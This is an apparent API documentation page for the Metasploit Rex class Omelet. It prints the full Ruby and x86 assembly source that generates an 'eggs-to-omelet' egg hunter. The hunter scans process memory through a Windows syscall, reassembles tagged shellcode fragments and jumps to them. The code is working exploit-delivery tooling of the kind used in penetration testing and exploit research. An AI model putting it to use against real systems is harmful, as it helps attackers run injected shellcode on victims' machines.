Class: Rex::Exploitation::Omelet

Inherits:

Object

• Object
• Rex::Exploitation::Omelet

Defined in:

lib/rex/exploitation/omelet.rb

Overview

This class provides an interface to generating an eggs-to-omelet hunter for win/x86.

Written by corelanc0d3r <peter.ve@corelan.be>

Defined Under Namespace

Modules: Windows Classes: UnitTest

Instance Method Summary

• #generate(payload, badchars = '', opts = {}) ⇒ Object

  This method generates an eggs-to-omelet hunter using the derived hunter stub.

• #initialize(platform, arch = nil) ⇒ Omelet constructor

  Creates a new hunter instance and acquires the sub-class that should be used for generating the stub based on the supplied platform and architecture.

Constructor Details

#initialize(platform, arch = nil) ⇒ Omelet

Creates a new hunter instance and acquires the sub-class that should be used for generating the stub based on the supplied platform and architecture.

# File 'lib/rex/exploitation/omelet.rb', line 53

def initialize(platform, arch = nil)
Omelet.constants.each { |c|
	mod = self.class.const_get(c)

	next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))

	if (platform =~ /#{mod.const_get('Alias')}/i)
		self.extend(mod)

		if (arch and mod)
			mod.constants.each { |a|
				amod = mod.const_get(a)

				next if ((!amod.kind_of?(::Module)) or
					(!amod.const_defined?('Alias')))

				if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
						amod = mod.const_get(a)

						self.extend(amod)
					end
				}
			end
		end
	}
end

Instance Method Details

#generate(payload, badchars = '', opts = {}) ⇒ Object

This method generates an eggs-to-omelet hunter using the derived hunter stub.

# File 'lib/rex/exploitation/omelet.rb', line 83

def generate(payload, badchars = '', opts = {})

	eggsize       = opts[:eggsize] || 123
	eggtag        = opts[:eggtag] || "00w"
	searchforward = opts[:searchforward] || true
	reset         = opts[:reset]
	startreg      = opts[:startreg]
	usechecksum   = opts[:checksum]
	adjust        = opts[:adjust] || 0

	return nil if ((opts = hunter_stub) == nil)

	# calculate number of eggs
	payloadlen = payload.length
	delta = payloadlen / eggsize
	delta = delta * eggsize
	nr_eggs = payloadlen / eggsize
	if delta < payloadlen
		nr_eggs = nr_eggs+1
	end

	nr_eggs_hex = "%02x" % nr_eggs
	eggsize_hex = "%02x" % eggsize

	hextag = ''
	eggtag.each_byte do |thischar|
		decchar = "%02x" % thischar
		hextag = decchar + hextag
	end
	hextag = hextag + "01"

	# search forward or backward ?
	setflag      = nil
	searchstub1  = nil
	searchstub2  = nil
	flipflagpre  = ''
	flipflagpost = ''
	checksum     = ''

	if searchforward
		# clear direction flag
		setflag     = "cld"
		searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
		searchstub2 = "inc edx"
	else
		# set the direction flag
		setflag      = "std"
		searchstub1  = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
		searchstub2  = "dec edx"
		flipflagpre  = "cld\n\tsub esi,-8"
		flipflagpost = "std"
	end

	# will we have to adjust the destination address ?
	adjustdest = ''
	if adjust > 0
		adjustdest = "\n\tsub edi,#{adjust}"
	elsif adjust < 0
		adjustdest = "\n\tadd edi,#{adjust}"
	end

	# prepare the stub that starts the search
	startstub = ''
	if startreg
		if startreg.downcase != 'ebp'
			startstub << "mov ebp,#{startreg}"
		end
		startstub << "\n\t" if startstub.length > 0
		startstub << "mov edx,ebp"
	end
	# a register will be used as start location for the search
	startstub << "\n\t" if startstub.length > 0
	startstub << "push esp\n\tpop edi\n\tor di,0xffff"
	startstub << adjustdest
	# edx will be used, start at end of stack frame
	if not startreg
		startstub << "\n\tmov edx,edi"
		if reset
			startstub << "\n\tpush edx\n\tpop ebp"
		end
	end

	# reset start after each egg was found ?
	# will allow to find eggs when they are out of order/sequence
	resetstart = ''
	if reset
		resetstart = "push ebp\n\tpop edx"
	end

       		#checksum code by dijital1 & corelanc0d3r
	if usechecksum
		checksum = <<EOS
	xor ecx,ecx
	xor eax,eax
calc_chksum_loop:
	add al,byte [edx+ecx]
	inc ecx
	cmp cl, egg_size
	jnz calc_chksum_loop
test_chksum:
	cmp al,byte [edx+ecx]
	jnz find_egg
EOS
	end

	# create omelet code
	omelet_hunter = <<EOS

	nr_eggs equ 0x#{nr_eggs_hex}	; number of eggs
	egg_size equ 0x#{eggsize_hex} 	; nr bytes of payload per egg
	hex_tag equ 0x#{hextag}		; tag

	#{setflag}			; set/clear direction flag
	jmp start

	; routine to calculate the target location
	; for writing recombined shellcode (omelet)
	; I'll use EDI as target location
	; First, I'll make EDI point to end of stack
	; and I'll put the number of shellcode eggs in eax
get_target_loc:
	#{startstub}		; use edx as start location for the search
	xor eax,eax		; zero eax
	mov al,nr_eggs		; put number of eggs in eax

calc_target_loc:
	xor esi,esi		; use esi as counter to step back
	mov si,0-(egg_size+20)	; add 20 bytes of extra space, per egg

get_target_loc_loop:	; start loop
	dec edi		; step back
	inc esi		; and update ESI counter
	cmp si,-1	; continue to step back until ESI = -1
	jnz get_target_loc_loop
	dec eax		; loop again if we did not take all pieces
             ; into account yet
	jnz calc_target_loc

	; edi now contains target location
	; for recombined shellcode
	xor ebx,ebx		; put loop counter in ebx
	mov bl,nr_eggs+1
	ret

start:
	call get_target_loc	; jump to routine which will calculate shellcode dst address

	; start looking for eggs, using edx as basepointer
	jmp search_next_address

find_egg:
	#{searchstub1}		; based on search direction

search_next_address:
	#{searchstub2}		; based on search direction
	push edx		; save edx
	push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
	pop eax		; set eax to 0x02
	int 0x2e
	cmp al,0x5		; address readable ?
	pop edx		; restore edx
	je search_next_address  ; if addressss is not readable, go to next address

	mov eax,hex_tag	; if address is readable, prepare tag in eax
	add eax,ebx		; add offset (ebx contains egg counter, remember ?)
	xchg edi,edx		; switch edx/edi
	scasd			; edi points to the tag ?
	xchg edi,edx		; switch edx/edi back
	jnz find_egg		; if tag was not found, go to next address
	;found the tag at edx

 ;do we need to verify checksum ? (prevents finding corrupted eggs)
 #{checksum}

copy_egg:
	; ecx must first be set to egg_size (used by rep instruction) and esi as source
	mov esi,edx		; set ESI = EDX (needed for rep instruction)
	xor ecx,ecx
	mov cl,egg_size	; set copy counter
	#{flipflagpre}		; flip destination flag if necessary
	rep movsb		; copy egg from ESI to EDI
	#{flipflagpost}		; flip destination flag again if necessary
	dec ebx		; decrement egg
	#{resetstart}		; reset start location if necessary
	cmp bl,1		; found all eggs ?
	jnz find_egg		; no = look for next egg
	; done - all eggs have been found and copied

done:
	call get_target_loc	; re-calculate location where recombined shellcode is placed
	cld
	jmp edi		; and jump to it :)
EOS

	the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string

	# create the eggs array
	total_size = eggsize * nr_eggs
	padlen = total_size - payloadlen
	payloadpadding = "A" * padlen

	fullcode = payload + payloadpadding
	eggcnt = nr_eggs + 2
	startcode = 0

	eggs = []
	while eggcnt > 2 do
		egg_prep = eggcnt.chr + eggtag
		this_egg = fullcode[startcode, eggsize]
          if usechecksum
			cksum = 0
			this_egg.each_byte { |b|
				cksum += b
			}
			this_egg << [cksum & 0xff].pack('C')
		end

		this_egg = egg_prep + this_egg
		eggs << this_egg

		eggcnt -= 1
		startcode += eggsize
	end

	return [ the_omelet, eggs ]
end